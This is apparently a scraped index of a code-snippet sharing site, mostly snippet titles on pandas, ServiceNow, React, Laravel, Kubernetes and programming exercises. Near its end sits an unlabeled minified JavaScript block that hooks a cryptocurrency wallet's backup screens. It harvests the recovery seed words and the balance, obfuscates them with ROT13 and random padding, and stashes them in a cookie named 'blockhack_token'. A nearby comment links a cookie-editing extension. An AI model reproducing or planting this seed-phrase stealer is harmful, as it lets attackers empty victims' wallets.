Javascript Snippets
Similiar Collections
DynamoDB — Boto3 Docs 1.14.20 documentation
DynamoDB — Boto3 Docs 1.14.20 documentation
DynamoDB — Boto3 Docs 1.14.20 documentation
DynamoDB — Boto3 Docs 1.14.20 documentation
DynamoDB — Boto3 Docs 1.14.20 documentation
DynamoDB — Boto3 Docs 1.14.20 documentation
DynamoDB — Boto3 Docs 1.14.20 documentation
Python strftime reference
pandas.Period.strftime
python - Formatting Quarter time in pandas columns - Stack Overflow
python - Pandas: Change day - Stack Overflow
python - Check if multiple columns exist in a df - Stack Overflow
Pandas DataFrame apply() - sending arguments examples
python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow
python - replace a value in the entire pandas data frame - Stack Overflow
python - Replacing blank values (white space) with NaN in pandas - Stack Overflow
python - get list from pandas dataframe column - Stack Overflow
python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow
python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow
python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow
How to Convert Integers to Strings in Pandas DataFrame - Data to Fish
How to Convert Integers to Strings in Pandas DataFrame - Data to Fish
create a dictionary of two pandas Dataframe columns? - Stack Overflow
python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow
Python Pandas iterate over rows and access column names - Stack Overflow
python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow
python - Deleting DataFrame row in Pandas based on column value - Stack Overflow
python - How to check if a column exists in Pandas - Stack Overflow
python - Import pandas dataframe column as string not int - Stack Overflow
python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow
Python Loop through Excel sheets, place into one df - Stack Overflow
javascript - parse the request body for scripted rest api's
How to identify a slow widget on a page - Support and Troubleshooting
ServiceNow pretty print xml
ServiceNow Client Script GlideOverlay: Open GlideOverlay Window to Submit or Update Another Record.js
How to query RITM by Variable Value using a GlideRecord - Developer Community - Question - ServiceNow Community
User Object Cheat Sheet - ServiceNow Guru
How to Force a Cache Update for UI Scripts - Developer Community - Article - ServiceNow Community
VIP Icon on Catalog Variable - Developer Community - Blog - ServiceNow Community
prevent user accounts who may have itil or any other role that could access the sys_attachment table from utilizing "apis" to access those attachments
ML: Hide featured badge on quick view
Making Listings feed order by Priority and then Reviews
Explore - Hide City areas
Explore - side by side tags
EXPLORE - HIDE LISTING TYPE DROPDOWN
SINGLE LISTING - RE-ARRANGE LISTINGS COMPONENTS ON MOBILE
Woocommerce - Logout message confirmation size change on my Account page
Single listing - Quick actions design
Add @InjectResource JUnit extensions with Gradle
Add @InjectResource JUnit extensions with Maven
Load text with JUnit 5 extension
Load text with JUnit 4 extension
Load binary with JUnit 5 extension
Load binary with JUnit 4 extension
Load properties with JUnit 5 extension
Load properties with JUnit 4 extension
Load JSON with JUnit 5 extension
Load JSON with JUnit 4 extension
Load YAML with JUnit 5 extension
Load YAML with JUnit 4 extension
Show() - Display Flex
Scroll Window to Bottom
Javacript cambios varios de cursor -
Performance snippet
Slick Slider - Video Play slide activo
Slide In (as you scroll down) Boxes | CSS-Tricks
Scroll into a div with buttons
A Complete Guide to Data Attributes | CSS-Tricks
Is in Viewport - Detecta si esta en pantalla
Toggle between 2 clasess
is in Viewport
REACTEUSE
Material UI style snippet
GRID material ui
MATERIAL UI _ custom style
Absolute path variable .env
retrieve data firestore
React class based component save state locally
REACT Extract State Logic to Redux
Use Provider to Connect Redux to React
Map State to Props
Map Dispatch to Props
Connect Redux to React
Connect Redux to the Messages App
Extract Local State into Redux
base app React redux
How To Build Forms in React | DigitalOcean
forms class based component
How to handle multiple input field in react form with a single function? - GeeksforGeeks
Class based component fonctional forms
Collecting data from a wizard form - Gosha Arinich
How to create multi-step forms in React? - DEV
custom scrollbar
WhatTheFont! « MyFonts
Vertical carousel with TweenMax.js
Material Design for Bootstrap 5
Card hover shadow effect
border radius
10 Super-Useful Bootstrap 4 Code Snippets
Bootstrap Snippets Library
Red Gradient: +55 Background Gradient Colors with CSS
Nulled Scripts - Nulled Scripts | Free Downloads Wordpress Theme
Meta Tags — Preview, Edit and Generate
colors palette
How to fix “Error: Node Sass does not yet support your current environment: OS X 64-bit with Unsupported runtime (57)”
Laravel Passport Key path oauth-public.key does not exist or is not readable
Returns a nested object in
How to set up Task Scheduling with Cron job in Laravel - TutsForWeb
Pass the search parameters into a request that has set of filter parameters
Setting up Vue in Laravel 8 - DEV
Attach zip to email (pwd protection available in ˆ7.2)
Conditional command to run every 2 weeks
How to sort an array numerically in JavaScript | by Dr. Derek Austin 🥳 | Coding at Dawn | Medium
Might be the thing that allows maps to work without an API key
Pass the search parameters into a request that has set of filter parameters
Redirects the page to a desired url on click
Call something when the entire page has loaded
Promise resolution with interval (jquery + iife)
Promise resolution where function is returned outside (jquery)
Add English Ordinal Suffices
Return the short month name
Convert number (r) to a specific local with a minimum number of digits
Async testing with Jest
Print page CSS
To set and unset the mat-select value programatically
To set and unset the mat-select value programatically
To set and unset the mat-select value programatically
Display Router Link
onload - js event - body event - event
Element.insertAdjacentElement() - beforebegin - afterend - beforeend - afterbegin - insert node element
Create HTML using JavaScript
Adding HTML to the page - append
insertAdjacentHTML - DOM - Insert HTML - Add html tag
JavaScript Fetch API - Ajax - Request
JavaScript Fetch API - Async Await - Ajax
JavaScript Essentials - Types - Tests - Vars - Variables - Loops - data structures - function - operators - conditionals
Scroll - to - Top Button with Vanilla JS - Detecting the scroll position
ES6 snippet - JavaScript - scroll snippet - window
ES6 snippet - JavaScript - scroll to top snippet - window - scrolltotop btn
ES6 snippet - JavaScript - Detect device type
ES6 snippet - JavaScript - GET parameters - GET URL parameters
ES6 snippet - JavaScript - Copy to clipboard - Copy string
Promise - Async/Await - Ajax - Request
Javascript design patterns - Constructor pattern - Object - POO
Javascript design patterns - Prototype pattern - Object - POO
Javascript design patterns - Singleton pattern - Object - POO
Javascript design patterns - Module pattern - Object - POO
10 JavaScript Hacks Every Web Developer Should Know
(Occurrence of max numbers) Write a program that reads integers, finds the largest of them, and counts its occurrences. Assume that the input ends with number 0. Suppose that you entered 3 5 2 5 5 5 0; the program finds that the largest is 5 and the occurrence count for 5 is 4
(Fibonacci Series) The Fibonacci series is a series that begins with 0 and 1 and has the property that each succeeding term is the sum of the two preceding terms. For example, the third Fibonacci number is 1 which is sum of 0 and 1. The next is 2, which is a sum of 1 + 1. Write a program that displays the first ten numbers in a Fibonacci series
**5.21 (Display numbers in a pyramid pattern) Write a nested for loop that prints the following output:
(Compute the greatest common divisor) Another solution for Listing 5.10 to find the greatest common divisor (GCD) of two integers n1 and n2 is as follows: First find d to be the minimum of n1 and n2, then check whether d, d-1, d-2, . . . , 2, or 1 is a divisor for both n1 and n2 in this order. The first such common divisor is the greatest common divisor for n1 and n2. Write a program that prompts the user to enter two positive integers and displays the GCD.
sorting
: Converting Decimals to Hexadecimals,” gives a program that converts a decimal to a hexadecimal. How do you convert a hex number into a decimal?
(Financial application: find the profit-per-item) Use the scheme in programming Exercise 5.39 to write a function that computes the profit-per-item. The header of the function is: double computeProfitPerItem(double quantity) Write a test program that displays the following table:
find LCM
check whether the reversed integer is also an Armstrong number
(Even Palindrome number)
Write a program that displays the first 100 emirps
Write a program that finds the first 25 additive prime numbers and displays the output in the following format:
(Math: approximate the square root)
(Average of even places)Write a function that returns the average of the digits in the even places in an integer using the following header: double avgOfEvenPlaces(int n)
(Current date and time) Invoking time(0) returns the elapse time in milliseconds since midnight January 1, 1970. Write a program that displays the date and time. Here is a sample run:
Write a test program that prompts the user to enter a number and its width and displays a string returned by invoking format(number, width).
octal to decimal
binary to octal
Write the following function to check whether string s1 is a substring of string s2.
sort array javascript - Google Search
get list of unique items from a list of objects with duplicate objects
get list of only duplicates from a list of objects with duplicate objects
date - setting day of week in javascript - Stack Overflow
find the largest number in a JavaScript array? - Stack Overflow
Get the First and Last Day of a Given Month using JavaScript
capitalize string javascript - Google Search
add property to each object in array javascript using ".map()" Code Example
sort array by date typescript - Google Search
return 2 objects from function typescript Code Example
javascript - How to check whether an object is a date? - Stack Overflow
Javascript code for showing yesterday's date and todays date - Stack Overflow
brew cleanup: Error: Permission denied @ apply2files · Issue #45009 · Homebrew/homebrew-core · GitHub
macos - Uninstall all programs installed by Homebrew - Ask Different
php - Uninstall Laravel Valet - Stack Overflow
macos - Uninstall all programs installed by Homebrew - Ask Different
php - How to install old version of composer - Stack Overflow
Nginx / Valet - 502 Bad Gateway - upstream sent too big header · Issue #890 · laravel/valet
php - Laravel Valet logs - Stack Overflow
php - How to downgrade or install a specific version of Composer on Windows? - Stack Overflow
How do I configure iTerm2 to open URLs in a specific browser? - Stack Overflow
Prevent duplicate values to be added to an array.
Loop over an Array
try-catch? | Node.js
String.prototype.includes()
JavaScript forEach – How to Loop Through an Array in JS
JavaScript forEach 2 – How to Loop Through an Array in JS
Request API Data with JavaScript or PHP (Access a Json data with PHP API)
Object.prototype.hasOwnProperty() - JavaScript | MDN
pulling 4 random cards from a deck
(Count the number of Vowels and Consonants)
(Count occurrence of numbers) Write a program that reads at most 100 integers between 1 and 100 and counts the occurrence of each number. Assume the input ends with 0. Here is a sample run of the program:
(Game: Eight Queens)
8 (Partition of a list)
CheckSudokuSolution
sorting td arrays
(Financial application: compute tax)
**8.11 (Game: nine heads and tails)
(Pattern recognition: consecutive four equal numbers) Write the following function that tests whether a two-dimensional array has four consecutive numbers of the same value, either horizontally, vertically, or diagonally.
(Game: connect four) Connect four is a two-player board game in which the players alternately drop colored disks into a seven-column, six-row verticallysuspended grid
(Game: connect four) Connect four is a two-player board game in which the players alternately drop colored disks into a seven-column, six-row verticallysuspended grid
Finding Object Information
Imperative Approach
Hybrid Approach
EDITING A LIVE OBJECT
Dockerfile for Java application
Build Dockerfile
Run Docker Container
Create Pod from Command Line
Yaml definition for pod
describes pod
Accessing Logs of a Pod
Executing a Command in Container
Declaring Environment Variables
Defining a Command with Arguments
Quick Delete pod
Simple container with env variables
Pod with command running in it
How Recursion Works — Explained with Flowcharts and a Video
javascript - Creation of a multi-level JSON string - Stack Overflow
PHP Master | Understanding Recursion
Recursive loop to create a family tree? (PHP/MySQL/HTML) - Stack Overflow
PHP Recursive Multidimensional Array to HTML nested code - PHP - SitePoint Forums | Web Development & Design Community
PHP Recursive Functions: How to Write Them, and Why They're Useful
arrays - php recursive function for genealogical tree - Stack Overflow
function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}
@Andiyohttps://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?gl=US&hl=en-US
@Andiyo$email = test_input($_POST["email"]); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $emailErr = "Invalid email format"; }
@shihab12169
Getting info about existence of all GUI borders and their thickness - Ask for Help - AutoHotkey Community
[Lib] String-based Table Manipulation v0.28 - Scripts and Functions - AutoHotkey Community
Use Capslock key as a hotkey - FastKeys Forum
Add 3 more layers to your keyboard Using these 3 Modifiers - Easy to Program Too! - AutoHotkey Community